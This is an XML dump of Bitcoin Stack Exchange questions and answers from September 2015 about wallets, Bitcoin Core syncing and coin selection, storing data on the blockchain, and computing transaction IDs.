  <row Id="39336" PostTypeId="2" ParentId="39335" CreationDate="2015-08-31T13:00:14.813" Score="1" Body="&lt;p&gt;Have you seen &lt;a href=&quot;https://bitcoinarmory.com/using-armory-python/&quot; rel=&quot;nofollow&quot;&gt;this page on the Armory website&lt;/a&gt;? It describes how to do what it is you appear to be asking to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you import everything from armoryengine.ALL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have &lt;code&gt;PyBtcWallet().readWalletFile(filename)&lt;/code&gt; to get a wallet object. Then you can do things with the wallet object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use TheBDM (Block Data Manager) to register callbacks for certain signals, such as new blocks.&lt;/p&gt;&#xA;" OwnerUserId="27312" LastActivityDate="2015-08-31T13:00:14.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39339" PostTypeId="1" CreationDate="2015-09-01T00:42:18.677" Score="2" ViewCount="2194" Body="&lt;p&gt;If you have a online site that accepts bitcoin deposits and users can withdraw their balance, Is  it possible to have the deposits go to the watch-only address of a cold storage and the withdraws come from the hot wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, then basically I'll have to give a programmer my private key for the hot wallet and just the master public key for the watch only-address on the server. Am I correct?&lt;/p&gt;&#xA;" OwnerUserId="28164" LastActivityDate="2020-12-17T23:07:23.797" Title="Hot wallet and cold wallet" Tags="|coldstorage|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39340" PostTypeId="2" ParentId="11054" CreationDate="2015-09-01T01:13:14.353" Score="6" Body="&lt;p&gt;If it helps &lt;a href=&quot;https://gist.github.com/TOMOAKI12345/7e0aa1c6b8ace4a70ca6&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/TOMOAKI12345/7e0aa1c6b8ace4a70ca6&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/voisine/breadwallet&quot; rel=&quot;noreferrer&quot;&gt;Breadwallet&lt;/a&gt; source code is really good source to learn about the network protocol of SPV wallet.&lt;/p&gt;&#xA;" OwnerUserId="24784" LastActivityDate="2015-09-01T01:13:14.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39341" PostTypeId="1" CreationDate="2015-09-01T01:33:59.353" Score="1" ViewCount="1010" Body="&lt;p&gt;I am having difficulty loading the full node for my new Bitcoin Core wallet. I use a Mac and share a modem with my apartment complex. I believe a manual network configuration is out of the cards for me. My node stopped loading with 31 weeks to go and I am still waiting to receive my first payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another electronic wallet that does not require so much configuration? Also, is it possible to take my key for the expected payment and use it in another electronic wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in over my head.&lt;/p&gt;&#xA;" OwnerUserId="28187" LastActivityDate="2016-07-27T13:04:38.757" Title="Bitcoin Core Network Configuration" Tags="|bitcoin-core|network|payment|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39342" PostTypeId="2" ParentId="39341" CreationDate="2015-09-01T01:54:27.940" Score="0" Body="&lt;p&gt;Bitcoin Core doesn't require much configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions for running it on a Mac are located at &lt;a href=&quot;https://bitcoin.org/en/full-node#mac-os-x-instructions&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/full-node#mac-os-x-instructions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you can't get a payment yet is because it's still downloading the blockchain. Until the client downloads the block that contains your transaction, it doesn't know it exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding it freezing with 31 weeks to go, I would advise letting it continue to run, some blocks take longer then others to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep an eye on the number of blocks it's on (found by hovering over the sync icon in the lower right of the program. It's probably going up very slowly.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-09-01T01:54:27.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39343" PostTypeId="2" ParentId="39339" CreationDate="2015-09-01T01:59:47.207" Score="1" Body="&lt;p&gt;The Answer is No, you can not do this. Reasons are below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you may be confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of a cold wallet it to store the coins offline, adding a watch-only address to a cold wallet does nothing, other then letting you see that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I could add your address as a watch-only and see your balance as well, but that doesn't give me access to your coins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the coins are in the cold wallet then you have to send them from there, generally by creating and signing an offline transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are in the hot wallet (even if being watched by the cold wallet) they you can send them from the hot wallet.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastEditorUserId="14887" LastEditDate="2015-09-02T16:52:03.303" LastActivityDate="2015-09-02T16:52:03.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39344" PostTypeId="1" AcceptedAnswerId="39345" CreationDate="2015-09-01T09:40:48.960" Score="4" ViewCount="376" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1077/5406&quot;&gt;Bitcoin Core's Coin Selection&lt;/a&gt; optimizes for minimal change outputs. How does Bitcoin Core prevent Change outputs of sizes below dust threshold from occurring?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-10-19T22:57:25.460" Title="How does Bitcoin Core's Coin Selection prevent change to be a dust output?" Tags="|transactions|dust|fragmentation|coin-selection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39345" PostTypeId="2" ParentId="39344" CreationDate="2015-09-01T11:58:42.400" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.11.0/src/wallet/wallet.cpp#L1855-L1875&quot; rel=&quot;nofollow&quot;&gt;these lines&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We do not move dust-change to fees, because the sender would end up paying more than requested.&#xA;// This would be against the purpose of the all-inclusive feature.&#xA;// So instead we raise the change and deduct from the recipient.&#xA;if (nSubtractFeeFromAmount &amp;gt; 0 &amp;amp;&amp;amp; newTxOut.IsDust(::minRelayTxFee))&#xA;{&#xA;    CAmount nDust = newTxOut.GetDustThreshold(::minRelayTxFee) - newTxOut.nValue;&#xA;    newTxOut.nValue += nDust; // raise change until no more dust&#xA;    for (unsigned int i = 0; i &amp;lt; vecSend.size(); i++) // subtract from first recipient&#xA;    {&#xA;        if (vecSend[i].fSubtractFeeFromAmount)&#xA;        {&#xA;            txNew.vout[i].nValue -= nDust;&#xA;            if (txNew.vout[i].IsDust(::minRelayTxFee))&#xA;            {&#xA;                strFailReason = _(&quot;The transaction amount is too small to send after the fee has been deducted&quot;);&#xA;                return false;&#xA;            }&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So Bitcoin core will give slightly less to the recipient rather than spend more than the payer originally requested, in the case of a dust-change output. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-09-01T11:58:42.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39346" PostTypeId="1" CreationDate="2015-09-01T12:05:34.180" Score="2" ViewCount="233" Body="&lt;p&gt;I would like to download (and access) as much blocks as possible - including stale (extinct) blocks, orphans blocks and invalid blocks.&lt;br&gt;&#xA;I have 0.11 official client.&lt;br&gt;&#xA;My node is already synchronized but I can re-sync for that.&lt;br&gt;&#xA;As I understand thanks to &lt;em&gt;header-first&lt;/em&gt; IBD method (and maybe some other improvement) introduced in 0.10.0:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have as few as possible stale blocks (only those downloaded after IBD)&lt;/li&gt;&#xA;&lt;li&gt;I don't have invalid blocks&lt;/li&gt;&#xA;&lt;li&gt;I don't have orphans as they were not materialized because they would be waiting for missing parents(?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I download as much of them as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides of downloading blocks what rpc calls should I use to query those blocks from local blockchain?  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;getbestblock&lt;/code&gt; will let me iterate using &lt;code&gt;getblock&lt;/code&gt; from the most recent block all the way down to genesis&lt;/li&gt;&#xA;&lt;li&gt;I can also &lt;code&gt;getblock&lt;/code&gt; to iterate starting from genesis block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of above gives access to stale or invalid. Orphaned were not materialized, correct?, so I'm not interested to access blocks which are still in-memory.&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="5406" LastEditDate="2023-10-20T17:21:13.213" LastActivityDate="2023-10-20T17:21:13.213" Title="Get as many blocks as possible (stale, invalid, orphans)" Tags="|json-rpc|synchronization|blockchain-fork|orphaned-blocks|stale-block|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39347" PostTypeId="1" AcceptedAnswerId="39349" CreationDate="2015-09-01T18:40:08.437" Score="15" ViewCount="25018" Body="&lt;p&gt;I am wondering if it is possible to give someone a bitcoin transaction ID and with that he can read some hidden data, like the blockchain.info notes on transactions, but for real, stored in the blockchain forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this idea but I don't think if it would be a good practice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send the minimum amount of BTC possible, wich is &lt;code&gt;0.00000001 BTC&lt;/code&gt;, or &lt;code&gt;1 satoshi&lt;/code&gt;, to an address, and in that address would be the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; ArFAXhvMbwJuub4ujnVbLFszqX3Mc&lt;strong&gt;uzsX&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, the address is formed by 30 letters in base58, but since the first char must be &lt;strong&gt;1&lt;/strong&gt; and the last four have to be the checksum, then you have 25 letters in base58, and that's like 17 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you have to pay like &lt;code&gt;0.0001 BTC&lt;/code&gt; for the transaction fee, and after that you can add data to that transaction at a price of 17bytes per 1 satoshi, by sending satoshis to many addresses that contains the whole data. Imagine if we could store data there forever,.. and communicate with the future...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other technique of doing this? Is this technique a good practice?&lt;/p&gt;&#xA;" OwnerUserId="27866" LastActivityDate="2017-12-18T14:40:53.487" Title="How to store data on the blockchain?" Tags="|blockchain|bitcoind|network|raw-data|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="39348" PostTypeId="2" ParentId="39347" CreationDate="2015-09-01T19:00:28.853" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this technique a good practice?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;NO!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any other technique of doing this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, there is a number of ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&quot; rel=&quot;nofollow&quot;&gt;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1023190.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1023190.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/master/examples/publish-text.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/petertodd/python-bitcoinlib/blob/master/examples/publish-text.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-09-01T19:00:28.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39349" PostTypeId="2" ParentId="39347" CreationDate="2015-09-01T19:20:46.223" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;then you have 25 letters in base58, and that's like 17 bytes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;20, actually.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, you have to pay like 0.0001 BTC for the transaction fee, and after that you can add data to that transaction at a price of 17bytes per 1 satoshi, by sending satoshis to many addresses that contains the whole data. Imagine if we could store data there forever,.. and communicate with the future...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're going to run into two problems with this: transaction fees and dust rules. Transaction fees mean that each transaction will cost you a couple of cents. Dust rules mean that transactions with outputs below a certain size will simply be dropped. The rationale behind this is that you're sending a transaction so small that the fee required to redeem it will be more than the money that you're sending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the longer term, the data you're sending is going to look identical to all of the other data that's in the blockchain. That means that you need to identify your transaction somehow. That's usually done by providing the txid, which is 32 bytes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this technique a good practice?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on what you're trying to accomplish. For example, are you trying to communicate anonymously? You should use BitMessage via Tor instead. Do you want to embed transactional data, like Counterparty does? Embedding the data in Bitcoin is probably the best solution for that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... and communicate with the future...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, the Internet Archive crawls all webpages (including this one!) so you're already uploading the things you've typed into a distributed, long-lasting datastore.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-01T19:20:46.223" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39351" PostTypeId="1" CreationDate="2015-09-02T06:56:16.033" Score="5" ViewCount="700" Body="&lt;p&gt;I just opened my multi bit wallet, and the  1.36275883 that was in there is now gone. It loaded a brand new wallet, so I don't even have my old wallet with the old transactions or password. I know what my old address was. I checked it on blockchain.info, and sure enough, there is the transaction that emptied it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can kind of make peace with losing over $300. I'm mad about it. But what I really need to know is, what happened and how do I prevent it from happening again. Can someone help with this issue?&lt;/p&gt;&#xA;" OwnerUserId="28199" LastEditorUserId="14887" LastEditDate="2015-09-02T19:55:05.993" LastActivityDate="2019-12-27T20:58:39.400" Title="I just lost 1.36275883 ($313), and I don't know how it happened or how to prevent it again" Tags="|wallet|security|hacking|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39352" PostTypeId="1" CreationDate="2015-09-02T11:10:24.097" Score="2" ViewCount="754" Body="&lt;p&gt;i have gtx 970 g1 gpu and intel i7 4790k cpu. i dont have to pay for my electricity costs. i used to play games but now i don't play them any-more. i was hopping someone will tell me if i can make a profit and how much i can make in a week by bitcion mining.&#xA;i dont have a clue how to mine if i will profit from mining can someone list in steps the things i need to start mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main reason i got idea for mining is because i don't have to pay for electric costs. any advice will be helpfull&lt;/p&gt;&#xA;" OwnerUserId="28202" LastEditorUserId="18196" LastEditDate="2016-03-06T19:02:38.427" LastActivityDate="2016-03-06T19:02:38.427" Title="i have good pc can i mine on it, if i don't have to pay for electricity?" Tags="|mining-pools|mining-profitability|gpu-mining|" AnswerCount="1" CommentCount="2" ClosedDate="2015-11-07T12:22:30.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="39353" PostTypeId="2" ParentId="39352" CreationDate="2015-09-02T11:26:14.530" Score="5" Body="&lt;p&gt;No, you can't. The days of GPU mining Bitcoins are long past.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-09-02T11:26:14.530" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39354" PostTypeId="1" CreationDate="2015-09-02T11:51:41.010" Score="4" ViewCount="2008" Body="&lt;p&gt;I'm searching for BTC historical prices and people often link this source: &lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm familiar with forex historical prices where I have tick or OHLC data with bid/ask prices. However, data from that website have 3 columns (timestamp, price and amount?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get/extract historical bid/ask prices from data available on &lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;? If not, is there a (preferably free) source of BTC historical bid/ask prices (at least for the H1 timeframe)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="28203" LastActivityDate="2017-11-11T23:06:01.783" Title="Historical bid/ask prices" Tags="|historical-trade-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39356" PostTypeId="2" ParentId="39354" CreationDate="2015-09-02T16:56:39.550" Score="1" Body="&lt;p&gt;The short answer is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each exchange that deals in bitcoins has it's own pricing, there is no single exchange from which to draw data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchanges may or may not have have an api to access their pricing history with, you would need to check that exchange to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/documentation&lt;/a&gt; is one such exchange, but they don't appear to have their trade history available, for example.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastEditorUserId="5292" LastEditDate="2015-09-08T03:05:33.690" LastActivityDate="2015-09-08T03:05:33.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39358" PostTypeId="1" CreationDate="2015-09-02T20:33:51.123" Score="11" ViewCount="7231" Body="&lt;p&gt;There is a service provided by blockchain.info described on &lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;noreferrer&quot;&gt;json_rpc_api page&lt;/a&gt;.&lt;br&gt;&#xA;More or less it describes the API that user can use to access their blockchain similar way as using bitcoin-cli to own daemon.&lt;br&gt;&#xA;It usage is currently demonstrated as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./bitcoin-cli -rpcconnect=rpc.blockchain.info -rpcport=443 -rpcssl -rpcuser=YourWalletIdentifier -rpcpassword=YourPassword getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks nice but there is an information on the site which states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From the 1st December 2014, in order to use this API, access must be explicitly enabled, and all client ip addresses whitelisted by the wallet owner. Manage access in [Account Settings] -&gt; [IP Restrictions] &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And that's the problem, because I'm interested just into fetching some block or transaction details. I don't need any RPC which would require authorization. I don't even want to create an account.&lt;br&gt;&#xA;So the question is:&lt;br&gt;&#xA;&lt;strong&gt;Are there any free services (or maybe it is still available on blockchain.info somehow?) which allows to use JSON-RPC against their bitcoin daemon?&lt;/strong&gt;&lt;br&gt;&#xA;I don't care about the speed or waiting 10 seconds between each call etc.&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="2306" LastEditDate="2015-09-03T05:19:01.587" LastActivityDate="2019-10-04T23:01:00.297" Title="publicly available json-rpc node for bitcoin-cli connection" Tags="|bitcoind|client|blockchain.info|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39361" PostTypeId="1" CreationDate="2015-09-03T01:07:25.897" Score="1" ViewCount="179" Body="&lt;p&gt;The &lt;code&gt;getchaintips&lt;/code&gt; JSON-RPC returns multiple branches of the blockchain.&lt;br&gt;&#xA;Chain tips can be in various statuses.&lt;br&gt;&#xA;The &lt;em&gt;active&lt;/em&gt; and &lt;em&gt;valid-fork&lt;/em&gt; are already validated chains. There is a &lt;em&gt;valid-header&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;valid-headers&lt;/code&gt; for a chain with valid headers whose corresponding blocks are stored locally, but which haven’t been fully validated&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which I would like to turn into &lt;em&gt;valid-fork&lt;/em&gt;. According to above info I have the blocks locally so I just need to invoke validation process.&lt;br&gt;&#xA;Is there any RPC to perform that task? or any other way?&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2015-09-03T01:07:25.897" Title="Validate chain from `valid-headers` to `valid-fork`" Tags="|blockchain|json-rpc|blockchain-fork|validation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39363" PostTypeId="1" CreationDate="2015-09-03T01:31:40.733" Score="4" ViewCount="3410" Body="&lt;p&gt;&lt;em&gt;Originally posted to StackOverflow but with no response. Thought I might have better luck here.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully created a Bitcoin transaction in C# according to the protocol specifications. Here's the transaction in binary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt; &lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the transaction is solid because the BTCs were transmitted properly. Furthermore, pasting my transaction above into &lt;a href=&quot;https://blockchain.info/decode-tx&quot; rel=&quot;nofollow&quot;&gt;this validator&lt;/a&gt; indicates the correct values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's stumping me is how the official transaction ID is generated. Everything on the Bitcoin and StackOverflow StackExchange sites indicate that it's generated by hashing the transaction bytes twice. I tried to do so as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const String txHex=&quot; &quot;;&#xA;&#xA;SHA256Managed sha256Hasher=new SHA256Managed();&#xA;Func&amp;lt;byte[],byte[]&amp;gt; doubleHash=(bytes)=&amp;gt;{&#xA;    return sha256Hasher.ComputeHash((sha256Hasher.ComputeHash(bytes)));&#xA;};&#xA;String txidHex=Utils.ToHex(doubleHash(Utils.FromHex(txHex)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Utils.ToHex()&lt;/code&gt; and &lt;code&gt;Utils.FromHex()&lt;/code&gt; are helper functions copied from StackOverflow which convert between &lt;code&gt;byte[]&lt;/code&gt; and a hex string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code above yields a &lt;code&gt;txidHex&lt;/code&gt; value of &lt;code&gt;27E6C3EF18D14FB49CBAC182BBDB47FC9D6F79DA65C101873207B60A957852A7&lt;/code&gt; but searching &lt;a href=&quot;http://BlockExplorer.com&quot; rel=&quot;nofollow&quot;&gt;BlockExplorer.com&lt;/a&gt; for that particular txid yields no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mentioned earlier that my transaction &lt;em&gt;did&lt;/em&gt; execute properly. It turns out that it did so using a txid of &lt;code&gt;11172aed3a61fe64ae82cb02e886757d352a4452f956a0703d0809880538ba58&lt;/code&gt;. If you paste that txid into BlockExplorer you'll see my transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which leads me to my question: Given a valid transaction byte stream (byte[]), how does one correctly compute a transaction ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="22825" LastEditorUserId="5406" LastEditDate="2016-01-05T12:47:32.887" LastActivityDate="2016-01-05T12:47:32.887" Title="Compute TxID of Bitcoin Transaction" Tags="|transactions|hash|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39365" PostTypeId="2" ParentId="39363" CreationDate="2015-09-03T02:29:45.697" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You've forgotten to convert from internal byte order (used in transactions to specify outpoints,) to output byte order (displayed to users.) Reverse the bytes after the second hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32765/how-do-i-calculate-the-txid-of-this-raw-transaction&quot;&gt;How do I calculate the txid of this raw transaction?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The transaction you've included in your question and the transaction on the blockchain are slightly different. However, since they reference the same outpoint, they cannot coexist in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TXID: 11172aed3a61fe64ae82cb02e886757d352a4452f956a0703d0809880538ba58&#xA;&#xA;010000000162ef5d87e91090453009860c6f135ea2a490133b2633f8f7ba014889f5ff7e4a00000000&#xA;8b48304502205abb829faec8571a6469d40edbceb7938dbb5eeb0efa5b6b284d9730eb8e90a7022100&#xA;c0aec347ffa72ed22057a821b0219e114a3d2686eb67904403529eac4e2c7c260141040bcf1becf4ef&#xA;6a5c24fd790ca86e8dcdfa3538cb97e99c254f84d209cfe47bfc6bf3b11aca05db7c7638301711070f&#xA;176e848b650a406eb7afc30aa9ea242489ffffffff02404b4c00000000001976a9140a24f0387f05a6&#xA;eecd1f8b327bb442eab767cbc888acca165e00000000001976a914f8fb3b4e5d75652795dd13b209e0&#xA;be7bbd66b5d488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TXID: a75278950ab607328701c165da796f9dfc47dbbb82c1ba9cb44fd118efc3e627&#xA;&#xA;010000000162ef5d87e91090453009860c6f135ea2a490133b2633f8f7ba014889f5ff7e4a00000000&#xA;8a4730440220497e2d3f9bbbc0c122d839968ff880514440ced08a71d28e614ff4c871964024022049&#xA;687008e4af72682992325f17e95da382d63e3fb14605a81b4498dff9210e310141040bcf1becf4ef6a&#xA;5c24fd790ca86e8dcdfa3538cb97e99c254f84d209cfe47bfc6bf3b11aca05db7c7638301711070f17&#xA;6e848b650a406eb7afc30aa9ea242489ffffffff02404b4c00000000001976a9140a24f0387f05a6ee&#xA;cd1f8b327bb442eab767cbc888acca165e00000000001976a914f8fb3b4e5d75652795dd13b209e0be&#xA;7bbd66b5d488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-09-03T02:29:45.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39366" PostTypeId="1" AcceptedAnswerId="39371" CreationDate="2015-09-03T09:34:03.937" Score="1" ViewCount="93" Body="&lt;p&gt;Suppose that your SPV client receives an incoming transaction. How can it tell whether it spends a real outpoint? If you knew the block, you could add the txid to filterload and request the block again, but I'm at a loss for how to implement it otherwise.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-03T14:22:13.320" Title="How does a filterload client that recieves an incoming transaction retrieve the transaction it's spending?" Tags="|bip37-bloom-filter|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39368" PostTypeId="1" AcceptedAnswerId="39373" CreationDate="2015-09-03T12:13:08.173" Score="1" ViewCount="690" Body="&lt;p&gt;Probably a simple question, but I believe it is important to state it clearly for the beginners like me out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the hash function used for the Bitcoin proof-of-work? What implementations are available? Any Java implementation?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2015-09-03T14:30:28.497" Title="What is the hash function used by Bitcoin proof-of-work?" Tags="|proof-of-work|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39369" PostTypeId="1" AcceptedAnswerId="40445" CreationDate="2015-09-03T12:39:44.087" Score="2" ViewCount="446" Body="&lt;p&gt;I would like to implement HashCash in an efficient/fast/garbage-free way. Is there a spec to do so? How can someone go by implementing HashCash from scratch? &lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2015-09-07T21:48:04.200" Title="Where is the spec of HashCash so that I can implement it in Java from scratch?" Tags="|hash|proof-of-work|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
